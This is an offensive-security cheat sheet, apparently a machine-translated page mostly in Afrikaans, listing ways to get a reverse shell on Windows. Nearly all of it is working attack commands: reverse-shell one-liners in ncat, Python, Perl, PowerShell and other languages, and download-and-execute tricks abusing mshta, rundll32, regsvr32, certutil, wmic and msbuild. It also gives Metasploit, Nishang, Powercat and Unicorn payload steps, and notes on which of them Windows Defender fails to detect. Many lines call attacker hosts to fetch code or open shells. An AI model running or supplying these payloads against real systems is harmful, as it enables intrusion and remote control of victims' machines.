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Reverse Shells - Windows

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Lolbas

Die bladsy lolbas-project.github.io is vir Windows soos https://gtfobins.github.io/ vir linux is. Dit is duidelik, daar is geen SUID lêers of sudo regte in Windows nie, maar dit is nuttig om te weet hoe sommige binaries (mis)bruik kan word om 'n soort onverwagte aksies uit te voer soos arbitraire kode uit te voer.

NC

nc.exe -e cmd.exe <Attacker_IP> <PORT>

NCAT

slagoffer

ncat.exe <Attacker_IP> <PORT>  -e "cmd.exe /c (cmd.exe  2>&1)"
#Encryption to bypass firewall
ncat.exe <Attacker_IP> <PORT eg.443> --ssl -e "cmd.exe /c (cmd.exe  2>&1)"

aanvaller

ncat -l <PORT>
#Encryption to bypass firewall
ncat -l <PORT eg.443> --ssl

SBD

sbd is 'n draagbare en veilige Netcat alternatief. Dit werk op Unix-agtige stelsels en Win32. Met funksies soos sterk versleuteling, program uitvoering, aanpasbare bronpoorte, en deurlopende herverbinding, bied sbd 'n veelsydige oplossing vir TCP/IP kommunikasie. Vir Windows gebruikers kan die sbd.exe weergawe van die Kali Linux verspreiding as 'n betroubare vervanging vir Netcat gebruik word.

# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444


# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)

Python

#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Perl

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

OpenSSH

Aanvaller (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Slachtoffer

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Powershell

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile

Proses wat netwerkoproep uitvoer: powershell.exe Payload op skyf geskryf: NEE (ten minste nêrens waar ek met procmon kon vind!)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Proses wat netwerkoproep uitvoer: svchost.exe Payload op skyf geskryf: WebDAV-kliënt plaaslike kas

Een liner:

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Kry meer inligting oor verskillende Powershell Shells aan die einde van hierdie dokument

Mshta

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
mshta http://webserver/payload.hta
mshta \\webdavserver\folder\payload.hta

Voorbeeld van hta-psh omgekeerde skulp (gebruik hta om PS agterdeur af te laai en uit te voer)

<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>

Jy kan baie maklik 'n Koadic zombie aflaai en uitvoer met die stager hta

hta voorbeeld

Van hier

<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

mshta - sct

Van hier

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Mshta - Metasploit

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit

Gedeelte deur verdediger

Rundll32

Dll hallo wêreld voorbeeld

rundll32 \\webdavserver\folder\payload.dll,entrypoint
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Gevind deur verdediger

Rundll32 - sct

Van hier

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Rundll32 - Metasploit

use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0

Rundll32 - Koadic

use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();

Regsvr32

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Gedig deur verdediger

Regsvr32 -sct

Van hier

<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>

Regsvr32 - Metasploit

use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll

Jy kan baie maklik 'n Koadic zombie aflaai en uitvoer met die stager regsvr

Certutil

Laai 'n B64dll af, dekodeer dit en voer dit uit.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

Laai 'n B64exe af, dekodeer dit en voer dit uit.

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

Gevind deur verdediger

Cscript/Wscript

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

Cscript - Metasploit

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs

Gevind deur verdediger

PS-Bat

\\webdavserver\folder\batchfile.bat

Proses wat netwerkoproep uitvoer: svchost.exe Payload op skyf geskryf: WebDAV-kliënt plaaslike kas

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
\\10.8.0.3\kali\shell.bat

Gevind deur verdediger

MSIExec

Aanvaller

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80

Slachtoffer:

victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi

Gevind

Wmic

wmic os get /format:"https://webserver/payload.xsl"

Voorbeeld xsl-lêer van hier:

<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>

Nie gedetecteer nie

Jy kan baie maklik 'n Koadic zombie aflaai en uitvoer met die stager wmic

Msbuild

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

U kan hierdie tegniek gebruik om toepassingswitlys en Powershell.exe-beperkings te omseil. U sal met 'n PS-skal gevra word. Laai net dit af en voer dit uit: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

Nie gedetecteer nie

CSC

Compileer C# kode in die slagoffer masjien.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs

You can download a basic C# reverse shell from here: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

Nie gedetecteer nie

Regasm/Regsvc

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Ek het dit nie probeer nie

https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182

Odbcconf

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Ek het dit nie probeer nie

https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2

Powershell Skale

PS-Nishang

https://github.com/samratashok/nishang

In die Skale gids, is daar 'n klomp verskillende skale. Om Invoke-PowerShellTcp.ps1 te aflaai en uit te voer, maak 'n kopie van die skrif en voeg by die einde van die lêer:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

Begin om die skrip op 'n webbediener te bedien en voer dit aan die slagoffer se kant uit:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender detecteer dit nie as kwaadwillige kode nie (nog, 3/04/2019).

TODO: Kontroleer ander nishang shells

PS-Powercat

https://github.com/besimorhino/powercat

Laai af, begin 'n webbediener, begin die luisteraar, en voer dit op die slagoffer se kant uit:

powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Defender detecteer dit nie as kwaadwillige kode nie (nog, 3/04/2019).

Ander opsies wat deur powercat aangebied word:

Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...

Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep

Empire

https://github.com/EmpireProject/Empire

Skep 'n powershell-lanser, stoor dit in 'n lêer en laai dit af en voer dit uit.

powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

Gevind as kwaadwillige kode

MSF-Unicorn

https://github.com/trustedsec/unicorn

Skep 'n powershell weergawe van metasploit agterdeur met behulp van unicorn

python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443

Begin msfconsole met die geskepte hulpbron:

msfconsole -r unicorn.rc

Begin 'n webbediener wat die powershell_attack.txt lêer bedien en voer uit in die slagoffer:

powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"

Gedig as kwaadwillige kode

Meer

PS>Attack PS-konsol met 'n paar offensiewe PS-modules vooraf gelaai (gecyfer) https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9 WinPWN PS-konsol met 'n paar offensiewe PS-modules en proxy-detektering (IEX)

Verwysings

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